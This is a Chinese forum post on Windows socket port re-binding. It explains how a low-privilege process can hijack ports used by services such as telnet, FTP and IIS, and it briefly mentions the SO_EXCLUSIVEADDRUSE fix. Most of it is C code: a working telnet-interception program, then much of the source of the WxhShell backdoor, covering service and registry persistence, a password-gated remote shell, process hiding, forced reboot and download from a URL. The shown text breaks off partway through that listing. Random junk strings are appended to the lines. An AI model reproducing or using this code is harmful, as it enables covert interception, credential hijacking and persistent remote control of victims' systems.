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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TH VF@@q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^;bkU|(`6  
yD"sYT   
  saddr.sin_family = AF_INET; ^\%%9jY  
^bGi_YC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e#^by(1@}  
]B||S7idq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XF6= xD  
zFIKB9NUn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]=Q'1%  
0kfw8Lon  
  这意味着什么?意味着可以进行如下的攻击: [U0c   
50A_+f.7%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0Jr< >7Q1  
X)+N>8o?N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^xrR3m*d  
&-A 7%"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1;V5b+b  
l?~h_8&fT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6G],t)<A'-  
:nt%z0_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3-D!ZS&  
sM K/l @7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B^{DCHu/  
sYzG_* )  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @@QU"8q  
}{"\"Bn_  
  #include I\_R& v  
  #include ;z#9>99rH  
  #include YX(%jcj*  
  #include    ~S9nLb:O{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x4K5  
  int main() FKP^f\!M  
  { j&9~OXYv  
  WORD wVersionRequested; )d~Mag+  
  DWORD ret; *?S\0a'W@  
  WSADATA wsaData; $.kYAsZts  
  BOOL val; gFH_^~7i8p  
  SOCKADDR_IN saddr; {ig@Iy~DT  
  SOCKADDR_IN scaddr; |j<'[gB\p  
  int err; Hw Is7  
  SOCKET s; I~I%z'"RQd  
  SOCKET sc; F 7=-k/k  
  int caddsize; -uZ^UG!K  
  HANDLE mt; s0u$DM2  
  DWORD tid;   gqhW.e}]  
  wVersionRequested = MAKEWORD( 2, 2 ); +Muyp]_  
  err = WSAStartup( wVersionRequested, &wsaData ); b8Qm4b?:4  
  if ( err != 0 ) { ~oI49Q&{  
  printf("error!WSAStartup failed!\n"); 6yU~^))bx  
  return -1; #LZ`kSlv4  
  } Jc+U$h4  
  saddr.sin_family = AF_INET; k)J7) L  
    E9i WGSE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c?d#Bj ?  
TJ<PT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E$T#o{pai  
  saddr.sin_port = htons(23); /D  q]=P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  >Pu*MD;  
  { (bw;zNW  
  printf("error!socket failed!\n"); 2:abe  
  return -1; R[(,wY_1  
  } H_Yy.yi  
  val = TRUE; _F,OS<>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qz:OnQv!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <i5^izg  
  { [q z6_WOo  
  printf("error!setsockopt failed!\n"); ;dnn 2)m  
  return -1; #[8gH>7  
  } $2.DZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3 R m$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AYi$LsLhO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hug12Cu  
CY:pYke=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cA*%K[9  
  { /c7j@=0  
  ret=GetLastError(); E*%{Nn  
  printf("error!bind failed!\n"); OjHBzrK  
  return -1; !\m.&lk'^  
  } d09GD[5  
  listen(s,2); dx~Wm1  
  while(1) Kk,->q<1  
  { 9T]]TEv4  
  caddsize = sizeof(scaddr); +0OQ"2^&  
  //接受连接请求 {`'b+0[;@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5q<kt{06\  
  if(sc!=INVALID_SOCKET) rk~/^(!  
  { 5*CwQJC<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0\m zGfd  
  if(mt==NULL) ?:ZH%R_`a  
  { ;(sb^O  
  printf("Thread Creat Failed!\n"); zb<+x(0y"  
  break; m} V,+E  
  } IH0Uq_  
  } z7CYYU?  
  CloseHandle(mt); #wo_  
  } 4eKJ\Q=nX5  
  closesocket(s); M]W4S4&Y=  
  WSACleanup(); rEViw?^KT  
  return 0; S.I<Hs  
  }   <[q)2 5RL  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1vThb  
  { &qr7yyY  
  SOCKET ss = (SOCKET)lpParam; s^U^n//  
  SOCKET sc; F,D &  
  unsigned char buf[4096]; {r"s.|n  
  SOCKADDR_IN saddr; f9$98SI  
  long num; _k}b  
  DWORD val; ("aYjK k  
  DWORD ret; * n[6H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sqy5rug  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RPrk]<<1  
  saddr.sin_family = AF_INET; o 2DnkzpJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L+u_153  
  saddr.sin_port = htons(23); #y?z2 !  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "[%NXan  
  { 8dpVB#]pp,  
  printf("error!socket failed!\n"); t!~mbx+  
  return -1; P)H%dJ ^l  
  } TQ BL!w  
  val = 100; Pa.!:N-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PQ5DTk  
  { -{< %Wt9  
  ret = GetLastError(); B)(A#&nrb  
  return -1; #qPk,a  
  } C?|gf?1p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1/gh\9h  
  { 3drgB;:g`  
  ret = GetLastError(); Y5;:jYk#<_  
  return -1; +V) (,f1  
  } Yc %eTh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4M:oa#gh@  
  { K+7xjFoDIR  
  printf("error!socket connect failed!\n"); [;2v[&Po  
  closesocket(sc); u66w('2  
  closesocket(ss); xW09k6   
  return -1; 2|T@  
  } cz0tnF*&  
  while(1) >#'6jm  
  { Vf:t!'WD?2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !=-l760  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R38 w!6{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n;MoMGnPh,  
  num = recv(ss,buf,4096,0); Y 8P  
  if(num>0) $yt|nO  
  send(sc,buf,num,0); l 0 1Lg6+S  
  else if(num==0) _x lgsa  
  break; `w q\K8v  
  num = recv(sc,buf,4096,0); -uh/W=Q1R  
  if(num>0) bXJE 2N  
  send(ss,buf,num,0); MF1u8Yl:0  
  else if(num==0) $Fn# b|e  
  break; 8xNKVj)@  
  } mr;WxxO5  
  closesocket(ss); LWW0lG!_F  
  closesocket(sc); Lt*H|9  
  return 0 ; S-1}3T%  
  } f(3#5288  
~E)I+$,  
]s<Q-/X  
========================================================== TEYbB=.  
?GFVV->i  
下边附上一个代码,,WXhSHELL -wO`o<  
# ><.zZ  
========================================================== ZpwB"%e$  
G1D(-X4ALZ  
#include "stdafx.h" Um|:AT}`^  
{ u;ntDr  
#include <stdio.h> z*R"917  
#include <string.h> R% ddB D\?  
#include <windows.h> ($3QjH_@  
#include <winsock2.h> |GMK@Q'0:  
#include <winsvc.h> l@^RbF['  
#include <urlmon.h> 2Gj&7A3b  
F|"NJ*o}  
#pragma comment (lib, "Ws2_32.lib") m1frN#3  
#pragma comment (lib, "urlmon.lib") 0wc+<CUW  
h rZ\ O?j  
#define MAX_USER   100 // 最大客户端连接数 Qdtfi1_Y1  
#define BUF_SOCK   200 // sock buffer ";GLX%C!{@  
#define KEY_BUFF   255 // 输入 buffer 9eV@v  
=7jkW (Q  
#define REBOOT     0   // 重启 aC:rrS  
#define SHUTDOWN   1   // 关机 _{A($/~c?  
Fa;CWyt  
#define DEF_PORT   5000 // 监听端口 Z(V 4"x7F  
pIh@!C  
#define REG_LEN     16   // 注册表键长度 H kg0;)  
#define SVC_LEN     80   // NT服务名长度 \^_F>M  
$[z*MQ  
// 从dll定义API 7igrRU#1%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,C CIg9Pt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K r9 @  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O ~"^\]\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `; `34t_)  
yJr'\(  
// wxhshell配置信息 pa.W-qyu  
struct WSCFG { r^]0LJ  
  int ws_port;         // 监听端口 &^z~wJ,]  
  char ws_passstr[REG_LEN]; // 口令 G;tIhq[$Vb  
  int ws_autoins;       // 安装标记, 1=yes 0=no DB?[h<^m  
  char ws_regname[REG_LEN]; // 注册表键名 ArF+9upGY  
  char ws_svcname[REG_LEN]; // 服务名 k6dSj>F>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }+u<^7$g|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j| 257D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {6~W2zX&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f}@]dFr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >0f5Mjug  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n0EKNMO  
-]N/P{=L  
}; $ biCm$a  
vuD tEz  
// default Wxhshell configuration r R."_Z2  
struct WSCFG wscfg={DEF_PORT, hLBX,r)u  
    "xuhuanlingzhe", }|x]8zL8G  
    1, (0Y6tcV]R  
    "Wxhshell", ~DCw [y  
    "Wxhshell", hmks\eb~  
            "WxhShell Service", \l#=p+x5  
    "Wrsky Windows CmdShell Service", O-G4^V8  
    "Please Input Your Password: ", \b' <q  
  1, bZ0r/f,n$  
  "http://www.wrsky.com/wxhshell.exe", y\ouIsI77  
  "Wxhshell.exe" 96 C|R  
    }; n#m )]YQC  
b`1P%OjC  
// 消息定义模块 V-t!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1z*]MYU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1z{Azp MZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sfx:j~bsL  
char *msg_ws_ext="\n\rExit."; _< xU"8b"5  
char *msg_ws_end="\n\rQuit."; xH*OEzN  
char *msg_ws_boot="\n\rReboot..."; YsDn?pD@  
char *msg_ws_poff="\n\rShutdown..."; {-H6Z#b[  
char *msg_ws_down="\n\rSave to "; GXa-g-d  
[<bfwTFsl  
char *msg_ws_err="\n\rErr!";  8sE@?,  
char *msg_ws_ok="\n\rOK!"; uGgR@+7?Z  
4,FuQ}  
char ExeFile[MAX_PATH]; Y]ZOvA5W  
int nUser = 0; tR*J M$T  
HANDLE handles[MAX_USER]; Z~$fTW6g  
int OsIsNt; FJ~Dg3F1  
VNaa(Q  
SERVICE_STATUS       serviceStatus; tZ4W]od  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U JY`P4(  
$T~|@XH  
// 函数声明 \O@,v0?R  
int Install(void); :h?Zg(l  
int Uninstall(void); RaG-9gujI  
int DownloadFile(char *sURL, SOCKET wsh); YW}1Mf=_  
int Boot(int flag); (%\N-[yZ  
void HideProc(void); eBG7]u,Q  
int GetOsVer(void); 2v yB [(  
int Wxhshell(SOCKET wsl); iv\?TAZC  
void TalkWithClient(void *cs); *h$Dh5%P  
int CmdShell(SOCKET sock); .~C*7_  
int StartFromService(void); |VTm5.23  
int StartWxhshell(LPSTR lpCmdLine); f |aO9w   
/ [:@j+n\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^- mz!{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T|r@:t[  
X8F _Mb*  
// 数据结构和表定义 `[7&tOvSk  
SERVICE_TABLE_ENTRY DispatchTable[] = /1t(e._  
{ v?5Xx{ym  
{wscfg.ws_svcname, NTServiceMain}, qH$G_R#)8B  
{NULL, NULL} 7w YSP&$  
}; q4Qm: |-  
}hEBX:-  
// 自我安装 Cd]d[{NJ;  
int Install(void) +#n5w8T)M  
{ c.,eIiL  
  char svExeFile[MAX_PATH]; =]&R6P>  
  HKEY key; J7_'@zU  
  strcpy(svExeFile,ExeFile); 3,W2CN}  
Peh( *D{  
// 如果是win9x系统,修改注册表设为自启动 $0NWX  
if(!OsIsNt) { hAKyT~[n0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,~%Qu~\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -N~*h  
  RegCloseKey(key); PUF"^9v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G23Mr9m5O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\>_{"*=  
  RegCloseKey(key); 0}-&v+  
  return 0; zZGPA j  
    } 74xI#`E  
  } R2Lq,(@-  
} 9kWyO:a_(  
else { f!eC|:D  
{b8!YbG  
// 如果是NT以上系统,安装为系统服务 x]J{EA{+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tihb38gE  
if (schSCManager!=0) ;F"W6G  
{ .0r5=  
  SC_HANDLE schService = CreateService V!a|rTU6  
  ( wnN@aO6g*  
  schSCManager, m RxL%!  
  wscfg.ws_svcname, hQ#'_%:  
  wscfg.ws_svcdisp,  >pT92VN  
  SERVICE_ALL_ACCESS, [A fV+$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y:ZI9JK?  
  SERVICE_AUTO_START, lTDF5.aE  
  SERVICE_ERROR_NORMAL, LPvyfD;Zy  
  svExeFile, G]=U=9ZI  
  NULL, = r_&R#~GT  
  NULL, w1h07_u;v  
  NULL, !f V.#9AB#  
  NULL, yAi#Y3!::  
  NULL v$owG-_><  
  ); j+88J  
  if (schService!=0) gh['T,  
  { 4ehajK  
  CloseServiceHandle(schService); Z[slN5]([  
  CloseServiceHandle(schSCManager); U"<Z^)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^-f5;B`\i  
  strcat(svExeFile,wscfg.ws_svcname); [yf2_{*0T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4Q,HhqV'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l)Q,*i  
  RegCloseKey(key); EX='\~Dw  
  return 0; r9yUye}  
    } VQ$=F8ivG  
  } cSnm\f  
  CloseServiceHandle(schSCManager); Fx/9T2%=  
} ghx8dX}  
} ?A8Uf=  
:nd }e  
return 1; P zzX Ds6  
} e-]k{_wm  
(b GiBsb  
// 自我卸载 .1t$(]CyC  
int Uninstall(void) KQNSYI7a  
{ $xvEYK  
  HKEY key; EJNj.c-#  
~bWqoJ;Q  
if(!OsIsNt) { ;KbnaUAS8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w(k7nGU]  
  RegDeleteValue(key,wscfg.ws_regname); {t;Q#Ou.  
  RegCloseKey(key); lmz{,O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q}M^i7IE  
  RegDeleteValue(key,wscfg.ws_regname); v7\~OOoH]  
  RegCloseKey(key); 3Nsb@0  
  return 0; Ni(D[?mZ  
  } K}1>n2P  
} tPDV"Md#m<  
} !Z<GUbl t  
else { 'N,x=1R5  
)tz8(S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y~,[9:SR  
if (schSCManager!=0) XqyfeY5t  
{ VCX})sp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0d9rJv}~  
  if (schService!=0) \@*cj8e  
  { RIC'JLWQ  
  if(DeleteService(schService)!=0) { &dbX>u q  
  CloseServiceHandle(schService); 6(ju!pE`  
  CloseServiceHandle(schSCManager); /7h}_zs6  
  return 0; n 'ZlIh  
  } /:z}WAW  
  CloseServiceHandle(schService); 7 G~MqnO|  
  } `Rm2G  
  CloseServiceHandle(schSCManager); [A yq%MA  
} P=KOw;bs  
} L_<&oq  
7>9/bB+TL  
return 1; $*G]6s  
} <$Q&n{  
.Uh-Wi[  
// 从指定url下载文件 ~*LH[l>K  
int DownloadFile(char *sURL, SOCKET wsh) pE^LQi  
{ c)rI[P7Q  
  HRESULT hr; n)sK#C-VA  
char seps[]= "/"; GNZQj8  
char *token; shYcfLJ  
char *file; N{q5E,}  
char myURL[MAX_PATH]; '"GdO;}&  
char myFILE[MAX_PATH]; 6:330"9  
{SqY77  
strcpy(myURL,sURL); CImB,AXS  
  token=strtok(myURL,seps); A^3cP, L  
  while(token!=NULL) [\@!~F{  
  { YZr^;jfP  
    file=token; ucJR #14  
  token=strtok(NULL,seps); QEQ8gfN9>  
  } Kcsje_I-M  
q.K >v'  
GetCurrentDirectory(MAX_PATH,myFILE); ]^8:"Ky'  
strcat(myFILE, "\\"); ky#<\K1}'  
strcat(myFILE, file); 3543[W#a  
  send(wsh,myFILE,strlen(myFILE),0); {pd%I  
send(wsh,"...",3,0); <*8nv.PX*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QbV)+7II=  
  if(hr==S_OK) l.;y`cs  
return 0; _&19OD%  
else K)_0ej~C  
return 1; =y0!-y  
lBD{)Va  
} yE{l Xp;  
zp% MK+x  
// 系统电源模块 t=xO12Z  
int Boot(int flag) QkGr{  
{ u32wS$*8  
  HANDLE hToken; }1:jM_H)k  
  TOKEN_PRIVILEGES tkp; }x~|XbG  
<!5N=-  
  if(OsIsNt) { Y 0$m~}j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wD22@uM#]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rnmWw#  
    tkp.PrivilegeCount = 1; H+zQz8zMC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O JvEq@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uLe+1`Y5Ux  
if(flag==REBOOT) { dbB2/RI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bxrByu~|1  
  return 0; q/m}+v]  
} z*zLK[t+  
else { u'yePJTE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [9[tn -  
  return 0; |pq z(j7  
} _^#PV}  
  } T_5 E  
  else { K 2LLuS!  
if(flag==REBOOT) { oJ{)0;<~L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z TjlGU `  
  return 0; ""d3ownKhw  
} 4) /tCv  
else { @ U}fvdft  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]L}<Y9)t  
  return 0; qe`W~a9x  
} cvn,&G -`  
} |n01T_Z)P  
je_77G(F  
return 1; nUd(@@%m  
} l*B;/ >nR  
'G@Npp)&^  
// win9x进程隐藏模块 h,TDNR<1L  
void HideProc(void) |PI.xl:ch  
{ +:/`&LOS-  
'9{H(DA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I/XVo2Ee  
  if ( hKernel != NULL ) `9zP{p  
  { &|/C*2A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IL YS:c58=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T{?!sB3  
    FreeLibrary(hKernel); X k<X:,T  
  } <0JW[m  
<9\_b 6  
return; zh*NRN  
} hh:0m\@<  
Gx'mVC"{  
// 获取操作系统版本 2=["jP!B  
int GetOsVer(void) KhXW5hS1  
{ X+P3a/T  
  OSVERSIONINFO winfo; ;2#7"a^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W5J"#^kdF8  
  GetVersionEx(&winfo); axXA y5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *!C^L"i  
  return 1; 2s|[!:L5  
  else iOj mj0  
  return 0; Zt[ P kBi  
} (VC{#^2l  
pf] sL/g  
// 客户端句柄模块 Kc{fT^E  
int Wxhshell(SOCKET wsl) m"H9C-Y  
{ Xa9G;J$  
  SOCKET wsh; +~w '?vNc  
  struct sockaddr_in client; f{* G%  
  DWORD myID; ]E[Mv} =  
gmJJ(}HVz  
  while(nUser<MAX_USER) #G)ZhgB^  
{ xjR/K&[m  
  int nSize=sizeof(client); L|!9%X0.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZiVTc/b  
  if(wsh==INVALID_SOCKET) return 1; Ddt(*z /  
f.rHX<%q9B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k9yA#  
if(handles[nUser]==0) O?8G  
  closesocket(wsh); xV<NeU  
else MttVgNV  
  nUser++; <aL$d7  
  } K V  4>(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xps MgJ/w  
Ji%T|KR_  
  return 0; &qrH  
} "z@q G]#5  
(iBBdB  
// 关闭 socket ]9;WM.  
void CloseIt(SOCKET wsh) N9,n/t  
{ Y,>])R[4  
closesocket(wsh); l#]Z?zW.  
nUser--; ;v8,r#4  
ExitThread(0); BuK82   
} Dugr{Y/0  
BR"*-$u0;  
// 客户端请求句柄 /F/`?=1<$  
void TalkWithClient(void *cs) If]g6 B.=  
{ |}'}TYX0:  
{ #>@h7  
  SOCKET wsh=(SOCKET)cs; TtkB  
  char pwd[SVC_LEN]; E$smr\  
  char cmd[KEY_BUFF]; O yj!N`&z@  
char chr[1]; 2\EMtR>.M'  
int i,j; |iO2,99i  
S`"IM?  
  while (nUser < MAX_USER) { X} 8rrC=  
>Mi A|N=  
if(wscfg.ws_passstr) { *K-,<hJ#L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dIIsO{Zqv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "F)7!e  
  //ZeroMemory(pwd,KEY_BUFF); TxPP{6t  
      i=0; 3smcCQA%  
  while(i<SVC_LEN) { Z#"6&kv  
.`xcR]PQ  
  // 设置超时 V `@@ufU}  
  fd_set FdRead; j_p.KF'[?  
  struct timeval TimeOut; p]=8=pE<  
  FD_ZERO(&FdRead); 9dy"Y~c  
  FD_SET(wsh,&FdRead); |l7e*$j  
  TimeOut.tv_sec=8; )h>Cp,|{  
  TimeOut.tv_usec=0; !7^fji  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i"sVk8+o!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C.pNDpx-  
"6Ly?'H K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \*d@_oQ$  
  pwd=chr[0]; $\m=-5 0-  
  if(chr[0]==0xd || chr[0]==0xa) { y~p7&^FeR  
  pwd=0; F}i rCi47c  
  break; !Y`nKC(=z  
  } 36&7J{MU  
  i++; @: %}clZ  
    } tEBf2|<  
:~U1JAs$  
  // 如果是非法用户,关闭 socket !=k\Rr@qx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cs~ }k7><  
} _;X# &S(q-  
UmInAH4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?G.9D`95  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wQ(ME7 t  
t-_N|iW' 5  
while(1) { dtm_~r7~  
r`28fC  
  ZeroMemory(cmd,KEY_BUFF); a] >|2JN<&  
(VwS 9:`  
      // 自动支持客户端 telnet标准   .eq-i>  
  j=0; !=q {1\#  
  while(j<KEY_BUFF) { %o+bO}/9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _Ndy;MQ  
  cmd[j]=chr[0]; HHa7Kh|-H  
  if(chr[0]==0xa || chr[0]==0xd) { +(UrqK4Av  
  cmd[j]=0; [- vd]ob  
  break; <~X=6  
  } M8S4D&vpD4  
  j++; mxGvhkj  
    } o.}^6.h"  
&&JI$x0;  
  // 下载文件 <fs2;  
  if(strstr(cmd,"http://")) { j!:U*}f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #@lr$^M  
  if(DownloadFile(cmd,wsh)) -v>BeVF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E62VuX  
  else %>5Ht e<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r/3 !~??x  
  } _lyP7$[: c  
  else { %aL>n=$  
vAwFPqu  
    switch(cmd[0]) { hiU_r="*ox  
  5 MQRb?[  
  // 帮助 ~~ )&? \N  
  case '?': { >,hJ5-9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .' D+De&y  
    break; POUB{ba  
  } ^D oJ='&  
  // 安装 BFj@Z'7P  
  case 'i': { Yg2z=&p-{"  
    if(Install()) .B#Lt,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `acorfpi  
    else :M|bw{P*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^b>E_u  
    break; pPG!{:YT  
    } fBw+Y4nCO7  
  // 卸载 ^Fb"Is#S,  
  case 'r': { cr,o<  
    if(Uninstall()) E3NYUHfZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K<Ct  
    else |W*f 6F3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!Mp;h'}-  
    break; #8nF8J< 4  
    } Q 7B)t;^  
  // 显示 wxhshell 所在路径 jnH44  
  case 'p': { ecf<(Vl}  
    char svExeFile[MAX_PATH]; >[ 72]<6  
    strcpy(svExeFile,"\n\r"); 3^1)W!n/  
      strcat(svExeFile,ExeFile); YF&SH)Y7  
        send(wsh,svExeFile,strlen(svExeFile),0); [ .dNX  
    break; fp12-Hk ~  
    } T']*h8  
  // 重启 0FTiTrTn  
  case 'b': { y~ ^>my7G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V~e1CZ(2X  
    if(Boot(REBOOT)) 0#Rj[J;kh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6f$N+4c  
    else { iF61J% 3-  
    closesocket(wsh); ,ISq7*%F  
    ExitThread(0); B;1wnKdj  
    } l\$_t2U  
    break; \Xxx5:qM  
    }  4uU(t  
  // 关机 b;!ilBc  
  case 'd': { S$muV9z2=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y7,~7f!N2  
